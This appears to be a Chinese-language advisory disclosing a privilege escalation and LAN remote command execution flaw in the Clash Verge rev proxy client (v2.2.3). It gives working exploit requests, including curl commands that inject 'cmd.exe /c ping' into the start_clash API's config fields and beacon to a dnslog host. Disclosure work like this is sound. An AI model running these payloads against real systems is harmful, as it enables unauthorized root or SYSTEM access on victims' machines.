Clash Verge rev本地提权漏洞
Clash Verge rev本地提权漏洞
一、基本信息
- 影响版本: 最新版本(v2.2.3)依然受影响。(截止2025.05.22)
- 漏洞类型: 本地权限提升 | 远程命令执行(开启局域网连接时)
二、漏洞简介
Clash Verge rev存在一个提权漏洞,在Mac、Linux和Windows都能进行提权,Mac和Linux下能提权到root,Windows下可以提权到SYSTEM。
同时在Clash Verge允许局域网连接时,可导致局域网用户连接本地代理端口,调用本地API接口,构造命令,触发远程命令执行。
三、环境搭建
[!使用版本]
示:
Clash Verge版本2.2.3
[!开启局域网连接]
默认情况是关闭状态。开启局域网连接是远程命令执行的条件。
示
局域网连接
四、复现步骤
1 POC-端口服务识别
1 | python312 <py文件> -i 192.168.73.40 -p 7890 -m socks5h |
1 | import requests |
2 本地权限提升
默认情况下,Clash Verge会注册一个服务,开启33211端口,监听127.0.0.1:33211。
示
端口服务
- 33210端口响应
1 | HTTP method not allowed |
[!漏洞利用]
1 | POST /start_clash HTTP/1.1 |
示
命令执行成功返回
dnslog平台
Ping命令以system权限运行。将config_file
命令修改为对应的需要提权的程序即可。
3 远程命令执行(特定条件下)
通过端口指纹识别,获取到代理服务端口信息,尝试判断是否为clash客户端,访问目标本地的33211端口。
1 | curl -x http://192.168.73.40:7890 -H "Accept:" -H "User-Agent:" -H "Content-Type: application/json" --data-binary '{ "core_type":"", "bin_path":"", "config_dir":"", "config_file":"", "log_file":"" }' http://127.0.0.1:33211/start_clash |
示:
返回响应
根据响应,可以判断为clash客户端,构造poc,执行命令。
注意:只有首次利用能成功,第二次开始命令执行将失败。如需恢复,需要将clash-verge.exe
进程结束,重新启动,才能重新利用。
示:
漏洞利用
[!漏洞利用]
执行命令ping 33211.<dnslog>
,dnslog接收到请求信息。
1 | curl -x http://192.168.73.40:7890 -H "Accept:" -H "User-Agent:" -H "Content-Type: application/json" --data-binary '{ "core_type":"verge-mihome", "bin_path":"cmd.exe", "config_dir":"", "config_file":"/c ping 33211.<dnslog>", "log_file":"C:\\Windows\\Temp\\5.log" }' http://127.0.0.1:33211/start_clash |
示:
五、修复建议
- 临时缓解措施建议
- 非必要不要开启
局域网连接
,特别是在非安全的网络环境下。
六、参考资料